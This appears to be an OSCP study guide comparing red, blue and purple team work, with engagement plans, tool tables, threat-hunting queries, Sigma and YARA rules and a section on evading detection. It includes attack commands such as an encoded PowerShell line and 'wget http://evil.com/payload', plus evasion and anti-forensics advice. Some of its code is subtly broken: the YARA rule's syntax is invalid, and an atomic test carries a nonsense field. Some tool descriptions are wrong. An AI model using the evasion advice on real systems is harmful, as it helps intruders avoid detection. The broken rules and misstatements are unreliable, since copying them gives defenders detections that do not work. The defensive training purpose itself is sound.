Red Team vs Blue Team vs Purple Team
Table of Contents
- Overview
- Red Team (Offensive)
- Blue Team (Defensive)
- Purple Team (Collaborative)
- OSCP Exam Relevance
- Detection and Evasion
- Career Paths
- Practical Examples
- Lab Exercises
- Key Tools Comparison
- Exam Tips
- Cross-References
- Summary
Overview
The cybersecurity landscape is commonly divided into three operational perspectives, each with distinct objectives, methodologies, and toolsets:
| Team | Color | Orientation | Primary Goal |
|---|---|---|---|
| Red Team | π΄ | Offensive | Simulate adversaries to find weaknesses |
| Blue Team | π΅ | Defensive | Detect, prevent, and respond to attacks |
| Purple Team | π£ | Collaborative | Bridge Red and Blue for continuous improvement |
Key Insight: The most effective security professionals understand all three perspectives. OSCP primarily trains Red Team skills, but understanding Blue Team detection capabilities makes you a significantly better operator.
The Evolution of Team-Based Security
2000s: Penetration Testing (point-in-time assessment)
β
2010s: Red vs Blue Team Exercises (adversarial simulation)
β
2015+: Purple Teaming (collaborative, continuous improvement)
β
Present: Integrated Security Operations (ATT&CK-aligned, measurable)
The shift from isolated penetration testing to continuous adversary simulation and collaborative purple teaming reflects the reality that security is not a one-time assessment but an ongoing process of improvement.
Red Team (Offensive)
Role and Objectives
A Red Team is an authorized group of security professionals who simulate real-world adversaries to test an organizationβs defenses. Unlike traditional penetration testing, red teaming is broader in scope and more focused on realistic adversary behavior.
Core Objectives
- Validate defensive capabilities β Test whether Blue Team can detect and respond to realistic attacks
- Identify security gaps β Find weaknesses in people, processes, and technology
- Improve incident response β Provide realistic scenarios for Blue Team practice
- Measure security posture β Quantify detection and response capabilities against known TTPs
Red Team vs. Penetration Testing
This distinction is critical for OSCP candidates to understand:
| Aspect | Penetration Testing | Red Teaming |
|---|---|---|
| Scope | Defined scope (specific systems, networks) | Broad scope (entire organization) |
| Objective | Find as many vulnerabilities as possible | Achieve specific objectives (e.g., access crown jewels) |
| Notification | Blue Team usually knows about the test | Blue Team may be unaware (or partially aware) |
| Duration | Days to weeks | Weeks to months |
| Rules of Engagement | Broad β exploit everything in scope | Narrow β specific objectives, OPSEC constraints |
| Evasion | Not always required | Required β avoid detection |
| Reporting | Vulnerability-focused with remediation | Objective-focused with detection gaps |
| TTPs | May use noisy, obvious techniques | Mimic real adversary behavior |
| Post-exploitation | Demonstrate impact | Achieve objectives, maintain persistence |
OSCP Context: The OSCP exam is a penetration test, not a red team engagement. You are given a defined scope, the Blue Team (exam proctors) knows you are testing, and your goal is to find and exploit as many vulnerabilities as possible within the time limit. However, understanding red team operations helps you think more strategically about engagements.
Red Team Operations Planning
A professional red team engagement follows a structured lifecycle:
Phase 1: Planning and Intelligence Gathering
Red Team Engagement Plan:
objectives:
- Primary: Access domain administrator credentials
- Secondary: Exfiltrate sensitive data from HR system
- Tertiary: Establish persistent access
scope:
in_scope:
- All corporate network segments
- Corporate email system
- Active Directory infrastructure
out_of_scope:
- Production database servers (no exploitation)
- Third-party cloud environments
- Social engineering of C-suite
rules_of_engagement:
opsec:
- No use of known malicious IPs
- All C2 traffic must use legitimate domains
- No disruption of production services
notification:
- Blue Team aware of engagement window
- Blue Team NOT aware of specific techniques
kill_chain:
- Full kill chain authorized
- Data exfiltration limited to test data only
Phase 2: Weaponization and Staging
- Prepare tools and infrastructure
- Set up command and control (C2) servers
- Create custom payloads and implants
- Establish communication channels
Phase 3: Execution
- Conduct operations according to plan
- Maintain OPSEC throughout
- Document all actions and findings
- Adapt tactics based on Blue Team responses
Phase 4: Reporting and Debrief
- Compile comprehensive report
- Conduct hot wash with Blue Team
- Identify detection gaps
- Recommend improvements
OPSEC (Operations Security) for Red Teams
OPSEC is the practice of protecting operational information from adversaries. For red teams, OPSEC means avoiding detection by the Blue Team during the engagement.
OPSEC Pillars
| Pillar | Description | Red Team Application |
|---|---|---|
| Critical Information | What must be protected | C2 infrastructure, team identities, TTPs |
| Threats | Who might detect you | Blue Team, SIEM, EDR, network monitoring |
| Vulnerabilities | How you might be exposed | Log artifacts, network signatures, behavioral anomalies |
| Indicators | What gives you away | Failed logins, unusual processes, DNS queries |
| Mission Analysis | Whatβs essential vs. optional | Prioritize objectives, minimize noise |
OPSEC Checklist for Operators
Pre-Engagement:
β Verify all infrastructure is clean (no known-bad IPs/domains)
β Ensure C2 domains have valid SSL certificates
β Test all tools in isolated environment
β Verify no team member info leaks in tool configs
β Confirm jump box / proxy infrastructure is secure
During Engagement:
β Minimize failed authentication attempts
β Use legitimate-looking process names
β Avoid obvious tool signatures (rename binaries)
β Limit scanning activity (avoid port sweeps)
β Use living-off-the-land binaries (LOLBins)
β Time operations to blend with normal traffic
β Monitor Blue Team activity (if visible)
Post-Engagement:
β Clean up all artifacts
β Remove persistence mechanisms
β Document all actions for reporting
β Debrief with team on OPSEC lessons learned
Red Team Tools
Command and Control (C2) Frameworks
| Tool | Type | Key Features | Cost |
|---|---|---|---|
| Cobalt Strike | Commercial C2 | Malleable C2 profiles, beacon, team server, aggressor scripts | ~$15,000/year |
| Sliver | Open Source C2 | Golang-based, multi-stage implants, DNS/HTTPS over DNS | Free |
| Mythic | Open Source C2 | Modular, C2 profiles, cross-platform, API-driven | Free |
| Havoc | Open Source C2 | Modern UI, Lua scripting, multi-protocol | Free |
| Metasploit | Framework | Exploits, payloads, post-exploitation modules | Free (Pro available) |
Reconnaissance and Enumeration
| Tool | Purpose | Description |
|---|---|---|
| BloodHound | AD reconnaissance | Maps Active Directory attack paths using Neo4j |
| Sherlock | AD enumeration | Finds misconfigurations in Active Directory |
| CrackMapExec | Network enumeration | SMB, WinRM, LDAP, MSSQL enumeration and exploitation |
| Nmap | Network scanning | Port scanning, service detection, OS fingerprinting |
| theHarvester | OSINT | Email, subdomain, and IP harvesting |
Credential Attacks
| Tool | Purpose | Description |
|---|---|---|
| Mimikatz | Credential dumping | Extracts credentials from memory (LSASS) |
| Rubeus | Kerberos attacks | Kerberoasting, AS-REP roasting, ticket manipulation |
| SecretsDump.py | Remote dumping | Impacket tool for remote credential extraction |
| Hashcat | Password cracking | GPU-accelerated password cracking |
| John the Ripper | Password cracking | CPU-based password cracking with rule support |
Post-Exploitation
| Tool | Purpose | Description |
|---|---|---|
| PowerShell Empire | Post-exploitation | PowerShell-based agent framework (legacy) |
| PoshC2 | C2 / Post-exploitation | PowerShell-based C2 with C2 profiles |
| Covenant | Open Source C2 | .NET-based C2 with implant generation |
| SharpHound | AD collection | BloodHound data collector (C#) |
| Lateral Movement Tools | Lateral movement | psexec, wmiexec, smbexec, dcomexec |
Red Team Techniques (Full Kill Chain)
Reconnaissance β Weaponization β Delivery β Exploitation β Installation β C2 β Actions on Objectives
β β β β β β β
βΌ βΌ βΌ βΌ βΌ βΌ βΌ
OSINT, Payload Phishing, Vulnerability Implant C2 Channel Data Theft,
Network Creation Droppers, Exploitation, Deployment, Establishment, Lateral
Scanning Research USB Drops Auth Bypass Persistence Communication, Movement,
Targeting Drive-by Pass-the- Mechanisms Data Exfil, Privilege
- Downloads Credential Staging Escalation
Attacks Attacks
Detailed Technique Examples
1. Initial Access
- Spear phishing with malicious attachments
- Exploitation of public-facing vulnerabilities
- Valid account compromise (credential stuffing)
- Supply chain attacks
2. Execution
- PowerShell scripts (
powershell -enc <base64>) - LOLBins (
certutil,mshta,rundll32) - WMI execution (
wmic process call create) - Scheduled tasks for persistence
3. Persistence
- Registry run keys
- Scheduled tasks
- Service installation
- WMI event subscriptions
- DLL hijacking
4. Privilege Escalation
- Kernel exploits
- Service misconfigurations
- Token impersonation
- Token theft
- UAC bypass techniques
5. Defense Evasion
- Process injection
- Code signing abuse
- AMSI bypass
- Log clearing
- Fileless techniques
6. Credential Access
- LSASS dumping (Mimikatz)
- Kerberoasting
- DCSync attacks
- NTDS.dit extraction
- Credential harvesting from browsers
7. Discovery
- Network share enumeration
- User/group enumeration
- Domain trust mapping
- BloodHound data collection
8. Lateral Movement
- Pass-the-Hash
- Pass-the-Ticket
- Remote service execution (PsExec, WMI)
- SMB execution
- RDP hijacking
9. Collection
- Email collection
- Document search and staging
- Clipboard monitoring
- Keylogging
10. Exfiltration
- DNS tunneling
- HTTPS exfiltration
- Cloud storage upload
- Encrypted channel exfiltration
Red Team Reporting
Red Team Report Structure
1. Executive Summary
- Objectives and outcomes
- Key findings at a high level
- Risk assessment
2. Engagement Overview
- Scope and rules of engagement
- Timeline of operations
- Team composition
3. Technical Findings
- Attack chain documentation
- Techniques used (mapped to MITRE ATT&CK)
- Evidence and screenshots
- Detection gaps identified
4. Detection Analysis
- What was detected by Blue Team
- What was NOT detected
- Time to detect (TTD) for each technique
- False positive analysis
5. Recommendations
- Detection improvements
- Prevention controls
- Response playbooks
- Training recommendations
6. Appendices
- Tool configurations
- Custom scripts
- MITRE ATT&CK mapping
- Raw data and logs
Red Team Report vs. Pentest Report
| Aspect | Pentest Report | Red Team Report |
|---|---|---|
| Focus | Vulnerabilities found | Objectives achieved and detection gaps |
| Detail Level | High technical detail per vulnerability | Strategic narrative with technical evidence |
| Metrics | CVSS scores, vulnerability counts | Time to detect, time to respond, objectives met |
| Recommendations | Remediation steps | Detection rules, response playbooks, training |
| Audience | Technical teams, management | Security operations, management, incident response |
| ATT&CK Mapping | Optional | Essential |
Blue Team (Defensive)
Role and Objectives
A Blue Team is responsible for defending an organizationβs information systems. They operate security tools, monitor for threats, respond to incidents, and continuously improve defensive capabilities.
Core Objectives
- Prevent attacks from succeeding
- Detect intrusions as quickly as possible
- Respond to incidents effectively
- Recover systems and operations after an incident
- Learn from incidents to improve defenses
SOC (Security Operations Center) Operations
The SOC is the centralized unit where Blue Team operations occur.
SOC Tiers
| Tier | Role | Responsibilities | Skills Required |
|---|---|---|---|
| Tier 1 | Analyst | Alert triage, initial investigation, escalation | SIEM basics, log analysis, ticketing |
| Tier 2 | Senior Analyst | Deep investigation, incident response, threat hunting | Advanced log analysis, malware analysis, scripting |
| Tier 3 | Specialist | Threat hunting, detection engineering, IR leadership | Reverse engineering, advanced threat hunting, architecture |
| Manager | SOC Lead | Strategy, resource management, reporting | Leadership, metrics, stakeholder communication |
SOC Shift Model
24/7 SOC Coverage:
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β 00:00 βββ 08:00 β Night Shift (Tier 1 + 2) β
β 08:00 βββ 16:00 β Day Shift (Tier 1 + 2 + 3)β
β 16:00 βββ 24:00 β Evening Shift (Tier 1 + 2) β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
Escalation Path:
Tier 1 β Tier 2 β Tier 3 β IR Team β Management
SOC Workflow
Alert Generation β Triage β Investigation β Classification β Response β Documentation β Closure
β β β β β β β
βΌ βΌ βΌ βΌ βΌ βΌ βΌ
SIEM/EDR generates Analyst Deep dive True Positive Containment, Update IR Lessons
alert based on reviews into alert / False Eradication, playbook, learned
detection rule alert, with additional / True Recovery, notify feed back
gathers context, Negative Notification stakeholders to detection
initial correlates β
context with other alerts βΌ
Create incident ticket
Incident Response Lifecycle (NIST IR)
The NIST Computer Security Incident Handling Guide (SP 800-61 Rev. 2) defines four phases:
Phase 1: Preparation
Preparation Activities:
people:
- Define IR team roles and responsibilities
- Establish communication channels
- Train IR team members
- Conduct tabletop exercises
processes:
- Develop IR plan and playbooks
- Define escalation procedures
- Establish evidence handling procedures
- Create communication templates
technology:
- Deploy and configure SIEM
- Deploy and configure EDR
- Set up forensic workstations
- Establish log collection and retention
- Configure network monitoring
Phase 2: Detection and Analysis
Detection Sources:
- SIEM alerts
- EDR alerts
- IDS/IPS alerts
- User reports
- Threat intelligence feeds
- Threat hunting findings
Analysis Steps:
1. Triage the Alert
ββ Is this a true positive or false positive?
ββ What is the severity and impact?
ββ Does this require immediate action?
2. Investigate the Incident
ββ Gather additional context
ββ Correlate with other alerts
ββ Identify the scope of compromise
ββ Determine the attacker's TTPs
ββ Map to MITRE ATT&CK
3. Analyze the Evidence
ββ Review logs (system, network, application)
ββ Analyze malware samples (if applicable)
ββ Examine memory dumps
ββ Review network captures
ββ Preserve evidence chain of custody
4. Determine Impact
ββ What systems are affected?
ββ What data was accessed/exfiltrated?
ββ What is the business impact?
ββ What is the regulatory impact?
Phase 3: Containment, Eradication, and Recovery
Containment Strategies:
| Strategy | Description | When to Use |
|---|---|---|
| Network Isolation | Disconnect affected systems from network | Active threat, lateral movement detected |
| Account Disablement | Disable compromised accounts | Credential compromise confirmed |
| Firewall Rules | Block malicious IPs/domains | Known C2 infrastructure identified |
| Email Blocking | Block malicious senders/domains | Phishing campaign detected |
| Host Isolation | Use EDR to isolate endpoint | Malware confirmed on endpoint |
Eradication Steps:
- Remove malware and malicious artifacts
- Close attack vectors (patch vulnerabilities)
- Reset compromised credentials
- Remove unauthorized accounts and persistence
Recovery Steps:
- Restore systems from clean backups
- Verify system integrity
- Monitor for re-infection
- Gradually restore normal operations
- Validate security controls are effective
Phase 4: Post-Incident Activity
Post-Incident Activities:
lessons_learned:
- Conduct post-incident review meeting
- Document what went well
- Document what could be improved
- Identify root causes
- Assign action items with owners
reporting:
- Create incident report
- Notify management
- Notify regulatory bodies (if required)
- Notify affected parties (if required)
improvement:
- Update detection rules
- Update IR playbooks
- Implement additional controls
- Schedule training based on gaps
- Update risk assessment
Threat Hunting Methodology
Threat hunting is the proactive search for threats that have evaded existing detection controls.
Threat Hunting Cycle
βββββββββββββββββββ
β Hypothesis β
β Generation β
ββββββββββ¬βββββββββ
β
βΌ
βββββββββββββββββββ
β Data β
β Collection β
ββββββββββ¬βββββββββ
β
βΌ
βββββββββββββββββββ
β Analysis β
β & Detection β
ββββββββββ¬βββββββββ
β
βΌ
βββββββββββββββββββ
β Investigation β
β & Response β
ββββββββββ¬βββββββββ
β
βΌ
βββββββββββββββββββ
β Documentation β
β & Sharing β
ββββββββββ¬βββββββββ
β
ββββββββ
βΌ
Feed back to Hypothesis
Hypothesis Generation Sources
| Source | Example Hypothesis |
|---|---|
| Threat Intelligence | βAPT29 is targeting our industry with spear phishingβ |
| ATT&CK Framework | βWe have no detection for LSASS dumpingβ |
| Red Team Results | βRed Team achieved domain admin in 2 hours undetectedβ |
| Log Analysis | βUnusual PowerShell execution patterns detectedβ |
| Industry Reports | βRansomware groups are abusing RDP in our sectorβ |
Threat Hunting Techniques
1. Signature-Based Hunting
-- Example: Hunt for Mimikatz execution
SELECT * FROM process_events
WHERE process_name LIKE '%mimikatz%'
OR command_line LIKE '%sekurlsa%'
OR command_line LIKE '%kerberos::%'
2. Behavioral Hunting
-- Example: Hunt for unusual PowerShell activity
SELECT * FROM process_events
WHERE process_name = 'powershell.exe'
AND (
command_line LIKE '%-enc%'
OR command_line LIKE '%-encodedcommand%'
OR command_line LIKE '%DownloadString%'
OR command_line LIKE '%IEX%'
)
AND parent_process NOT IN ('vscode.exe', 'visualstudio.exe')
3. Anomaly-Based Hunting
-- Example: Hunt for unusual login times
SELECT user_name, login_time, source_ip
FROM authentication_logs
WHERE login_time BETWEEN '00:00' AND '05:00'
AND user_name NOT IN (SELECT user_name FROM shift_workers)
Blue Team Tools
SIEM (Security Information and Event Management)
| Tool | Type | Key Features | Cost |
|---|---|---|---|
| Splunk | Commercial | Powerful search, extensive apps, machine learning | Per GB/day |
| Elastic SIEM | Open Core | Elasticsearch-based, Kibana dashboards, free tier | Free / Paid |
| Microsoft Sentinel | Commercial | Cloud-native, Azure integration, SOAR built-in | Per GB ingested |
| QRadar | Commercial | IBMβs SIEM, network packet analysis, URPs | Per event/day |
| Wazuh | Open Source | SIEM + XDR, HIDS, vulnerability detection | Free |
EDR (Endpoint Detection and Response)
| Tool | Type | Key Features | Cost |
|---|---|---|---|
| CrowdStrike Falcon | Commercial | Cloud-native, lightweight agent, AI-driven | Per endpoint |
| SentinelOne | Commercial | Autonomous response, rollback, threat graph | Per endpoint |
| Microsoft Defender for Endpoint | Commercial | Windows integration, attack surface reduction | Per device |
| Carbon Black | Commercial | VMware-owned, prevention-focused, visibility | Per endpoint |
| Wazuh | Open Source | HIDS, file integrity, log analysis | Free |
IDS/IPS (Intrusion Detection/Prevention Systems)
| Tool | Type | Key Features | Cost |
|---|---|---|---|
| Suricata | Open Source | Multi-threaded, IPS mode, EVE JSON output | Free |
| Snort | Open Source | Rule-based, large community, extensive rules | Free |
| Zeek | Open Source | Network analysis framework, protocol parsing | Free |
| Security Onion | Open Source | Distribution with Suricata, Zeek, Squert | Free |
SOAR (Security Orchestration, Automation and Response)
| Tool | Type | Key Features | Cost |
|---|---|---|---|
| Splunk SOAR | Commercial | Playbook automation, integrations, case management | Per instance |
| Phantom | Commercial | Now part of Splunk, workflow automation | Per instance |
| TheHive | Open Source | Incident response platform, case management | Free |
| Shuffle | Open Source | SOAR platform, visual playbook builder | Free |
Detection Engineering
Detection engineering is the practice of creating and maintaining detection rules to identify malicious activity.
Detection Rule Lifecycle
Requirement β Design β Development β Testing β Deployment β Monitoring β Tuning β Retirement
β β β β β β β β
βΌ βΌ βΌ βΌ βΌ βΌ βΌ βΌ
Identify what Determine Write rule Test against Deploy to Monitor for Adjust for Remove if
to detect data using known good production alerts, false obsolete
sources appropriate and bad SIEM/EDR incidents, positives, or ineffective
and framework samples and EDR and sensitivity technique
logic
Sigma Rule Example
Sigma is a generic detection rule format that can be translated to multiple SIEM platforms.
# Sigma Rule: Detect Mimikatz Execution
title: Mimikatz Execution Detected
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects execution of Mimikatz or related commands
author: Security Team
date: 2026/01/15
modified: 2026/08/31
references:
- https://github.com/gentilkiwi/mimikatz
- https://attack.mitre.org/techniques/T1003/001
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\mimikatz.exe'
- '\mimikatz.exe.config'
CommandLine|contains|all:
- 'sekurlsa'
- 'logonpasswords'
selection_process:
ParentImage|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wmic.exe'
condition: selection and selection_process
falsepositives:
- Security testing tools
- Legitimate use of Mimikatz by security teams
level: high
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1550.002
YARA Rule Example
YARA is used for malware identification and classification.
rule mimikatz_executable : mimikatz malware
{
meta:
description = "Detects Mimikatz executable"
author = "Security Team"
date = "2026-01-15"
reference = "https://github.com/gentilkiwi/mimikatz"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$mz = { 4D 5A }
$sekurlsa = "sekurlsa" ascii wide
$kerberos = "kerberos::" ascii wide
$lsass = "lsass" ascii wide
$dpapi = "dpapi" ascii wide
$tspkg = "tspkg" ascii wide
$command_strings = {
"mimikatz"
"kiwi"
"gentilkiwi"
}
condition:
$mz at 0 and
3 of ($sekurlsa, $kerberos, $lsass, $dpapi, $tspkg) and
any of $command_strings
}
Blue Team Metrics
| Metric | Definition | Formula | Target |
|---|---|---|---|
| MTTD (Mean Time to Detect) | Average time from compromise to detection | Ξ£(detection times) / number of incidents | < 1 hour |
| MTTR (Mean Time to Respond) | Average time from detection to containment | Ξ£(response times) / number of incidents | < 4 hours |
| MTTI (Mean Time to Identify) | Average time to identify root cause | Ξ£(identification times) / number of incidents | < 2 hours |
| Detection Coverage | Percentage of ATT&CK techniques with detection | (Techniques detected / Total techniques) Γ 100 | > 80% |
| False Positive Rate | Percentage of alerts that are false positives | (False positives / Total alerts) Γ 100 | < 10% |
| Mean Time to Protect | Average time to deploy new detection | Ξ£(deployment times) / number of rules | < 24 hours |
Industry Benchmark (IBM Cost of a Data Breach 2023): Organizations with well-trained security teams and practiced incident response plans saved an average of $1.3 million compared to those without. The average MTTD was 204 days, and MTTR was 71 days β highlighting the need for continuous improvement.
Purple Team (Collaborative)
Role and Objectives
A Purple Team combines Red and Blue Team capabilities to create a collaborative, continuous improvement cycle. The goal is not to βwinβ but to improve organizational security posture.
Core Objectives
- Bridge the gap between Red and Blue Teams
- Validate detections through continuous testing
- Improve response through realistic scenarios
- Share knowledge across security functions
- Measure effectiveness of security controls
How Purple Teaming Works
Purple Team Exercise Lifecycle
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Purple Team Exercise Cycle β
β β
β 1. Planning Phase β
β ββ Define objectives (what techniques to test) β
β ββ Select ATT&CK techniques β
β ββ Coordinate with Red and Blue teams β
β ββ Establish success criteria β
β β
β 2. Execution Phase β
β ββ Red executes technique β
β ββ Blue monitors for detection β
β ββ Purple facilitates communication β
β ββ Real-time feedback loop β
β β
β 3. Analysis Phase β
β ββ Was the technique detected? β
β ββ If yes, how quickly? (MTTD) β
β ββ If no, why not? β
β ββ What is the detection gap? β
β β
β 4. Improvement Phase β
β ββ Blue creates/improves detection rule β
β ββ Red validates the new detection β
β ββ Document lessons learned β
β ββ Update security controls β
β β
β 5. Repeat β
β ββ Move to next technique or refine current β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Purple Team vs. Traditional Red vs. Blue Exercise
| Aspect | Traditional Exercise | Purple Team Exercise |
|---|---|---|
| Duration | Weeks to months | Hours to days |
| Scope | Broad, full kill chain | Narrow, specific techniques |
| Communication | Limited during exercise | Continuous, open |
| Goal | Red wins or Blue wins | Both teams improve |
| Feedback | Post-exercise debrief | Real-time during exercise |
| Outcome | Report with findings | Improved detections and response |
| Frequency | Annual or bi-annual | Weekly or monthly |
Joint Exercises and Knowledge Sharing
Exercise Format
Purple Team Exercise Template:
exercise_name: "LSASS Dumping Detection Validation"
date: "2026-08-31"
duration: "4 hours"
objectives:
- Validate detection of LSASS dumping via Mimikatz
- Validate detection of LSASS dumping via Procdump
- Measure MTTD for each technique
- Improve detection coverage for T1003.001
techniques:
- id: T1003.001
name: "OS Credential Dumping: LSASS Memory"
methods:
- Mimikatz sekurlsa::logonpasswords
- Procdump LSASS dump + Mimikatz offline
- Comsvcs.dll COM dump
red_team_tasks:
- Execute each technique on test system
- Document exact commands and artifacts
- Provide Blue Team with expected indicators
blue_team_tasks:
- Monitor for detection during execution
- Document detection time and method
- Create/improve detection rules
- Validate rules against false positives
success_criteria:
- All techniques detected within 5 minutes
- Detection rules created for any gaps
- False positive rate < 5%
- MTTD < 2 minutes for all techniques
deliverables:
- Detection rules (Sigma format)
- Updated SIEM dashboards
- Lessons learned document
- ATT&CK coverage update
Continuous Improvement Cycle
ββββββββββββββββββββ
β Identify Gap β
β (ATT&CK Matrix) β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β Red Executes β
β Technique β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β Blue Detects? β
ββββββββββ¬ββββββββββ
β
ββββββββββ΄βββββββββ
β β
Yes β β No
β β
βΌ βΌ
ββββββββββββββββ ββββββββββββββββββββ
β Measure MTTD β β Identify Gap β
β Optimize β β Create Detection β
βββββββββ β ββββββββββ¬ββββββββββ
β β β
βΌ β βΌ
β ββββββββββββββββββββ β
βββββΊβ Update Controls ββββ
β & Playbooks β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β Validate with β
β Next Exercise β
ββββββββββ¬ββββββββββ
β
ββββββββΊ (Repeat)
Purple Team Tools
| Tool | Purpose | Description |
|---|---|---|
| Atomic Red Team | Technique execution | Open source library of atomic tests mapped to ATT&CK |
| Caldera | Adversary emulation | Automated adversary emulation platform by MITRE |
| MITRE ATT&CK Navigator | Layer management | Visual tool for creating and sharing ATT&CK layers |
| Detection Lab | Lab environment | Vagrant-based lab with Elastic, Wazuh, and Windows |
| Sigma | Detection rules | Generic detection rule format |
| YARA | Malware detection | Pattern matching for malware identification |
Atomic Red Team Example
# Atomic Test Example: T1059.001 - PowerShell
atomic_test:
name: Execute PowerShell Script
supported_platforms:
- windows
auto_generated_guid: "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
description: >
Executes a PowerShell script. Adversaries may abuse PowerShell
scripts and commands to perform a variety of activities, after
gaining access to a system or during remote execution.
attacker_attackix:
- technique: T1059.001
tactics:
- execution
executor:
name: powershell
command: >
Write-Host "Atomic Test Executed"
test_examples:
- Write-Host "Hello from Atomic Red Team"
input_args:
script_path:
description: Path to the PowerShell script to execute
type: path
default: "C:\AtomicRedTeam\atomics\T1059.001\bin\script.ps1"
OSCP Exam Relevance
OSCP is Primarily a Red Team/Pentest Exam
The OSCP exam tests your ability to:
- Perform penetration testing on multiple machines
- Exploit various vulnerability types
- Move laterally across networks
- Escalate privileges
- Document findings in a professional report
Key Point: The OSCP exam is a penetration test, not a red team engagement. You are given a defined scope, and your goal is to compromise as many systems as possible within the 24-hour exam window.
Why Understanding Blue Team Helps in OSCP
1. Knowing What Gets Detected
Even though the OSCP exam doesnβt have an active Blue Team monitoring you, understanding detection helps you:
| Blue Team Knowledge | OSCP Application |
|---|---|
| SIEM alert triggers | Avoid noisy techniques that waste time |
| EDR detection patterns | Choose exploitation methods that work reliably |
| Log analysis techniques | Understand what artifacts you leave behind |
| Incident response procedures | Structure your approach methodically |
2. Operating More Efficiently
Understanding what Blue Teams look for helps you:
- Focus on techniques that are less likely to be blocked
- Avoid unnecessary noise that could trigger automated responses
- Prioritize high-value targets efficiently
- Document your work in a way that demonstrates professional methodology
3. Better Exploitation Choices
Noisy Approach (Blue Team will detect):
Nmap full port scan β Metasploit exploit β Meterpreter shell
β β β
βΌ βΌ βΌ
Triggers IDS Known signature Obvious process
alert in AV name
Stealthy Approach (Less detection):
Targeted service check β Custom exploit β Reverse shell via nc
β β β
βΌ βΌ βΌ
Minimal noise Unique signature Common process
(or manual name
exploitation)
How Blue Team Knowledge Helps with Evasion
Understanding Detection Mechanisms
| Detection Method | What It Catches | How to Operate Within Constraints |
|---|---|---|
| Signature-based AV | Known malware hashes | Use custom payloads, manual exploitation |
| Behavioral EDR | Suspicious process behavior | Use legitimate tools, limit suspicious actions |
| Network IDS | Known attack patterns | Use encrypted channels, limit scanning |
| Log Analysis | Unusual login patterns | Use valid credentials, avoid brute force |
| File Integrity | Modified system files | Avoid modifying critical system files |
Purple Team Mindset for Better Testing
Adopting a purple team mindset during OSCP preparation means:
- Think like the defender β Before exploiting, ask βWhat would a Blue Team look for?β
- Validate your detections β After exploiting, check if your actions would trigger alerts
- Improve continuously β Use each lab session to learn both offensive and defensive techniques
- Document thoroughly β Professional reporting is part of the exam grade
Detection and Evasion
What Blue Team Tools Detect
SIEM Detection Capabilities
| Log Source | Detectable Activities | Example Alerts |
|---|---|---|
| Windows Event Logs | Logins, process creation, registry changes | Failed logins, suspicious PowerShell, Mimikatz execution |
| Firewall Logs | Network connections, blocked traffic | Port scans, C2 communication, data exfiltration |
| DNS Logs | Domain queries, DNS tunneling | DGA domains, known malicious domains, high entropy queries |
| Proxy Logs | HTTP/HTTPS traffic | Malicious URLs, file downloads, suspicious user agents |
| Email Logs | Phishing, malicious attachments | Known phishing patterns, malicious attachments |
| Application Logs | Web app attacks, database queries | SQL injection, XSS, command injection |
EDR Detection Capabilities
| Detection Type | What It Monitors | Example Detections |
|---|---|---|
| Process Creation | New processes, command lines | PowerShell with encoded commands, Mimikatz execution |
| File Operations | File creation, modification, deletion | Malware drops, config file changes |
| Registry Changes | Registry key modifications | Persistence mechanisms, run keys |
| Network Connections | Outbound connections, DNS queries | C2 communication, data exfiltration |
| Memory Activity | Process injection, code injection | Reflective DLL injection, process hollowing |
| Credential Access | LSASS access, credential dumping | Mimikatz, Procdump targeting LSASS |
How to Operate Quietly During an Engagement
General OPSEC Principles
1. Minimize Noise
ββ Avoid full port scans (use targeted service checks)
ββ Limit failed authentication attempts
ββ Use encrypted communication channels
ββ Time operations to blend with normal traffic
2. Use Legitimate Tools
ββ Prefer LOLBins over custom tools
ββ Use built-in OS utilities for enumeration
ββ Leverage legitimate admin tools
ββ Avoid obvious attack tool signatures
3. Limit Artifacts
ββ Avoid dropping files when possible
ββ Use memory-only techniques
ββ Clean up after operations
ββ Minimize log generation
4. Operate Within Norms
ββ Use normal business hours
ββ Mimic legitimate user behavior
ββ Use expected network paths
ββ Avoid unusual geographic locations
Specific Technique Comparisons
| Noisy Technique | Quieter Alternative |
|---|---|
nmap -sS -p- target |
nmap -sS -p 22,80,443,3389 target |
hydra -l admin -P wordlist.txt ssh://target |
Use valid credentials obtained through other means |
msfconsole β use exploit/... β exploit |
Manual exploitation with custom scripts |
mimikatz.exe |
procdump.exe + offline analysis |
powershell -enc <base64> |
powershell -file script.ps1 (with legitimate-looking name) |
wget http://evil.com/payload |
Use legitimate download mechanisms |
Anti-Forensics Basics
Important: Anti-forensics techniques should only be used in authorized engagements. Unauthorized use is illegal and unethical.
Common Anti-Forensics Techniques
| Technique | Description | Detection Risk |
|---|---|---|
| Log Clearing | Clearing event logs to remove evidence | High β log clearing itself is detectable |
| Timestamp Manipulation | Modifying file timestamps to mislead investigators | Medium β can be detected with proper tools |
| File Carving Prevention | Overwriting deleted files to prevent recovery | Low β requires specific tools |
| Memory Evasion | Operating in memory to avoid disk artifacts | Medium β EDR can detect memory activity |
| Encryption | Encrypting data to prevent analysis | Low β encryption itself may be suspicious |
| Rootkits | Hiding processes and files | High β EDR and AV detect rootkits |
Log Manipulation (Ethical Considerations)
β οΈ ETHICAL WARNING β οΈ
Log manipulation should ONLY be performed:
1. In authorized penetration tests with explicit permission
2. In controlled lab environments
3. For educational purposes
Unauthorized log manipulation is:
- Illegal in most jurisdictions
- A violation of computer fraud laws
- Grounds for termination and legal action
- A breach of professional ethics
In the OSCP exam:
- Do NOT clear logs on exam machines
- Do NOT modify system configurations
- Focus on exploitation and documentation
- The exam is graded on successful compromise, not evasion
Timing and Noise Reduction
Optimal Timing Strategies
| Strategy | Description | Benefit |
|---|---|---|
| Business Hours | Operate during normal working hours | Blends with normal traffic patterns |
| Avoid Peak Hours | Avoid times of highest network activity | Reduces chance of standing out |
| Stagger Operations | Space out scanning and exploitation | Avoids burst detection |
| Rate Limiting | Limit the speed of automated tools | Reduces noise and detection |
